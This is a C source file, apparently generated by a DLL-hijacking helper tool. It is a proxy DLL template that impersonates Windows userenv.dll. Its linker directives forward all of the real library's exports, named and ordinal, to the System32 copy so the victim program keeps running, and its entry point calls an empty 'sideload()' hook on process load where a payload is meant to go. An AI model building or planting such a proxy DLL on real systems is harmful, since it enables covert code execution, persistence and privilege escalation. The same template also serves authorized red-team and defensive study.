// Created by hijackdll-helper
/* There should be dll hijacking possible first! */
/* cl.exe /Os /GD /LD /Fe */
/* https://en.wikipedia.org/wiki/Name_mangling */

#include <windows.h>

/*  Don't forward to itself!
    "C:\Windows\System32\version" is acceptable ;p
*/
#define HIJACKED_DLL_NAME "C:\\Windows\\System32\\userenv"    //<--- modify

/* gcc does't support this. */
#pragma comment(linker, "/EXPORT:AreThereVisibleLogoffScripts="HIJACKED_DLL_NAME".AreThereVisibleLogoffScripts,@106")
#pragma comment(linker, "/EXPORT:AreThereVisibleShutdownScripts="HIJACKED_DLL_NAME".AreThereVisibleShutdownScripts,@107")
#pragma comment(linker, "/EXPORT:CreateAppContainerProfile="HIJACKED_DLL_NAME".CreateAppContainerProfile,@108")
#pragma comment(linker, "/EXPORT:CreateEnvironmentBlock="HIJACKED_DLL_NAME".CreateEnvironmentBlock,@109")
#pragma comment(linker, "/EXPORT:CreateProfile="HIJACKED_DLL_NAME".CreateProfile,@110")
#pragma comment(linker, "/EXPORT:DeleteAppContainerProfile="HIJACKED_DLL_NAME".DeleteAppContainerProfile,@111")
#pragma comment(linker, "/EXPORT:DeleteProfileA="HIJACKED_DLL_NAME".DeleteProfileA,@112")
#pragma comment(linker, "/EXPORT:DeleteProfileW="HIJACKED_DLL_NAME".DeleteProfileW,@113")
#pragma comment(linker, "/EXPORT:DeriveAppContainerSidFromAppContainerName="HIJACKED_DLL_NAME".DeriveAppContainerSidFromAppContainerName,@114")
#pragma comment(linker, "/EXPORT:DeriveRestrictedAppContainerSidFromAppContainerSidAndRestrictedName="HIJACKED_DLL_NAME".DeriveRestrictedAppContainerSidFromAppContainerSidAndRestrictedName,@115")
#pragma comment(linker, "/EXPORT:DestroyEnvironmentBlock="HIJACKED_DLL_NAME".DestroyEnvironmentBlock,@116")
#pragma comment(linker, "/EXPORT:DllCanUnloadNow="HIJACKED_DLL_NAME".DllCanUnloadNow,@117")
#pragma comment(linker, "/EXPORT:DllGetClassObject="HIJACKED_DLL_NAME".DllGetClassObject,@118")
#pragma comment(linker, "/EXPORT:DllRegisterServer="HIJACKED_DLL_NAME".DllRegisterServer,@119")
#pragma comment(linker, "/EXPORT:DllUnregisterServer="HIJACKED_DLL_NAME".DllUnregisterServer,@120")
#pragma comment(linker, "/EXPORT:EnterCriticalPolicySection="HIJACKED_DLL_NAME".EnterCriticalPolicySection,@121")
#pragma comment(linker, "/EXPORT:ExpandEnvironmentStringsForUserA="HIJACKED_DLL_NAME".ExpandEnvironmentStringsForUserA,@123")
#pragma comment(linker, "/EXPORT:ExpandEnvironmentStringsForUserW="HIJACKED_DLL_NAME".ExpandEnvironmentStringsForUserW,@124")
#pragma comment(linker, "/EXPORT:ForceSyncFgPolicy="HIJACKED_DLL_NAME".ForceSyncFgPolicy,@125")
#pragma comment(linker, "/EXPORT:FreeGPOListA="HIJACKED_DLL_NAME".FreeGPOListA,@126")
#pragma comment(linker, "/EXPORT:FreeGPOListW="HIJACKED_DLL_NAME".FreeGPOListW,@127")
#pragma comment(linker, "/EXPORT:GenerateGPNotification="HIJACKED_DLL_NAME".GenerateGPNotification,@128")
#pragma comment(linker, "/EXPORT:GetAllUsersProfileDirectoryA="HIJACKED_DLL_NAME".GetAllUsersProfileDirectoryA,@129")
#pragma comment(linker, "/EXPORT:GetAllUsersProfileDirectoryW="HIJACKED_DLL_NAME".GetAllUsersProfileDirectoryW,@130")
#pragma comment(linker, "/EXPORT:GetAppContainerFolderPath="HIJACKED_DLL_NAME".GetAppContainerFolderPath,@131")
#pragma comment(linker, "/EXPORT:GetAppContainerRegistryLocation="HIJACKED_DLL_NAME".GetAppContainerRegistryLocation,@132")
#pragma comment(linker, "/EXPORT:GetAppliedGPOListA="HIJACKED_DLL_NAME".GetAppliedGPOListA,@133")
#pragma comment(linker, "/EXPORT:GetAppliedGPOListW="HIJACKED_DLL_NAME".GetAppliedGPOListW,@134")
#pragma comment(linker, "/EXPORT:GetDefaultUserProfileDirectoryA="HIJACKED_DLL_NAME".GetDefaultUserProfileDirectoryA,@136")
#pragma comment(linker, "/EXPORT:GetDefaultUserProfileDirectoryW="HIJACKED_DLL_NAME".GetDefaultUserProfileDirectoryW,@138")
#pragma comment(linker, "/EXPORT:GetGPOListA="HIJACKED_DLL_NAME".GetGPOListA,@140")
#pragma comment(linker, "/EXPORT:GetGPOListW="HIJACKED_DLL_NAME".GetGPOListW,@141")
#pragma comment(linker, "/EXPORT:GetNextFgPolicyRefreshInfo="HIJACKED_DLL_NAME".GetNextFgPolicyRefreshInfo,@142")
#pragma comment(linker, "/EXPORT:GetPreviousFgPolicyRefreshInfo="HIJACKED_DLL_NAME".GetPreviousFgPolicyRefreshInfo,@143")
#pragma comment(linker, "/EXPORT:GetProfileType="HIJACKED_DLL_NAME".GetProfileType,@144")
#pragma comment(linker, "/EXPORT:GetProfilesDirectoryA="HIJACKED_DLL_NAME".GetProfilesDirectoryA,@145")
#pragma comment(linker, "/EXPORT:GetProfilesDirectoryW="HIJACKED_DLL_NAME".GetProfilesDirectoryW,@146")
#pragma comment(linker, "/EXPORT:GetUserProfileDirectoryA="HIJACKED_DLL_NAME".GetUserProfileDirectoryA,@147")
#pragma comment(linker, "/EXPORT:GetUserProfileDirectoryW="HIJACKED_DLL_NAME".GetUserProfileDirectoryW,@148")
#pragma comment(linker, "/EXPORT:HasPolicyForegroundProcessingCompleted="HIJACKED_DLL_NAME".HasPolicyForegroundProcessingCompleted,@149")
#pragma comment(linker, "/EXPORT:LeaveCriticalPolicySection="HIJACKED_DLL_NAME".LeaveCriticalPolicySection,@150")
#pragma comment(linker, "/EXPORT:LoadProfileExtender="HIJACKED_DLL_NAME".LoadProfileExtender,@151")
#pragma comment(linker, "/EXPORT:LoadUserProfileA="HIJACKED_DLL_NAME".LoadUserProfileA,@152")
#pragma comment(linker, "/EXPORT:LoadUserProfileW="HIJACKED_DLL_NAME".LoadUserProfileW,@153")
#pragma comment(linker, "/EXPORT:ProcessGroupPolicyCompleted="HIJACKED_DLL_NAME".ProcessGroupPolicyCompleted,@154")
#pragma comment(linker, "/EXPORT:ProcessGroupPolicyCompletedEx="HIJACKED_DLL_NAME".ProcessGroupPolicyCompletedEx,@155")
#pragma comment(linker, "/EXPORT:RefreshPolicy="HIJACKED_DLL_NAME".RefreshPolicy,@156")
#pragma comment(linker, "/EXPORT:RefreshPolicyEx="HIJACKED_DLL_NAME".RefreshPolicyEx,@157")
#pragma comment(linker, "/EXPORT:RegisterGPNotification="HIJACKED_DLL_NAME".RegisterGPNotification,@158")
#pragma comment(linker, "/EXPORT:RsopAccessCheckByType="HIJACKED_DLL_NAME".RsopAccessCheckByType,@159")
#pragma comment(linker, "/EXPORT:RsopFileAccessCheck="HIJACKED_DLL_NAME".RsopFileAccessCheck,@160")
#pragma comment(linker, "/EXPORT:RsopLoggingEnabled="HIJACKED_DLL_NAME".RsopLoggingEnabled,@105")
#pragma comment(linker, "/EXPORT:RsopResetPolicySettingStatus="HIJACKED_DLL_NAME".RsopResetPolicySettingStatus,@161")
#pragma comment(linker, "/EXPORT:RsopSetPolicySettingStatus="HIJACKED_DLL_NAME".RsopSetPolicySettingStatus,@162")
#pragma comment(linker, "/EXPORT:UnloadProfileExtender="HIJACKED_DLL_NAME".UnloadProfileExtender,@163")
#pragma comment(linker, "/EXPORT:UnloadUserProfile="HIJACKED_DLL_NAME".UnloadUserProfile,@164")
#pragma comment(linker, "/EXPORT:UnregisterGPNotification="HIJACKED_DLL_NAME".UnregisterGPNotification,@165")
#pragma comment(linker, "/EXPORT:WaitForMachinePolicyForegroundProcessing="HIJACKED_DLL_NAME".WaitForMachinePolicyForegroundProcessing,@166")
#pragma comment(linker, "/EXPORT:WaitForUserPolicyForegroundProcessing="HIJACKED_DLL_NAME".WaitForUserPolicyForegroundProcessing,@167")
#pragma comment(linker, "/EXPORT:fun_104="HIJACKED_DLL_NAME".#104,@104,NONAME")
#pragma comment(linker, "/EXPORT:fun_122="HIJACKED_DLL_NAME".#122,@122,NONAME")
#pragma comment(linker, "/EXPORT:fun_135="HIJACKED_DLL_NAME".#135,@135,NONAME")
#pragma comment(linker, "/EXPORT:fun_137="HIJACKED_DLL_NAME".#137,@137,NONAME")
#pragma comment(linker, "/EXPORT:fun_139="HIJACKED_DLL_NAME".#139,@139,NONAME")
#pragma comment(linker, "/EXPORT:fun_175="HIJACKED_DLL_NAME".#175,@175,NONAME")
#pragma comment(linker, "/EXPORT:fun_202="HIJACKED_DLL_NAME".#202,@202,NONAME")
#pragma comment(linker, "/EXPORT:fun_203="HIJACKED_DLL_NAME".#203,@203,NONAME")
#pragma comment(linker, "/EXPORT:fun_206="HIJACKED_DLL_NAME".#206,@206,NONAME")
#pragma comment(linker, "/EXPORT:fun_207="HIJACKED_DLL_NAME".#207,@207,NONAME")
#pragma comment(linker, "/EXPORT:fun_208="HIJACKED_DLL_NAME".#208,@208,NONAME")
#pragma comment(linker, "/EXPORT:fun_209="HIJACKED_DLL_NAME".#209,@209,NONAME")
#pragma comment(linker, "/EXPORT:fun_210="HIJACKED_DLL_NAME".#210,@210,NONAME")
#pragma comment(linker, "/EXPORT:fun_211="HIJACKED_DLL_NAME".#211,@211,NONAME")
#pragma comment(linker, "/EXPORT:fun_212="HIJACKED_DLL_NAME".#212,@212,NONAME")
#pragma comment(linker, "/EXPORT:fun_213="HIJACKED_DLL_NAME".#213,@213,NONAME")
#pragma comment(linker, "/EXPORT:fun_214="HIJACKED_DLL_NAME".#214,@214,NONAME")
#pragma comment(linker, "/EXPORT:fun_217="HIJACKED_DLL_NAME".#217,@217,NONAME")
#pragma comment(linker, "/EXPORT:fun_218="HIJACKED_DLL_NAME".#218,@218,NONAME")
#pragma comment(linker, "/EXPORT:fun_219="HIJACKED_DLL_NAME".#219,@219,NONAME")


// Add your implementations here, and comment the forwarders <---

extern int sideload();    //<---

/*  Less dependencies: _DllMainCRTStartup
    More functions: DllMain
    Take care of the core libs yourself: msvcrt, kernel32, ntdll, user32 */
BOOL WINAPI _DllMainCRTStartup(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	switch (dwReason) {
	case DLL_PROCESS_ATTACH:
		sideload();    //<---
		break;
    /*
	case DLL_PROCESS_DETACH:
        break;
	case DLL_THREAD_ATTACH:
        break;
	case DLL_THREAD_DETACH:
        break;
    */
	}
	return TRUE;
}
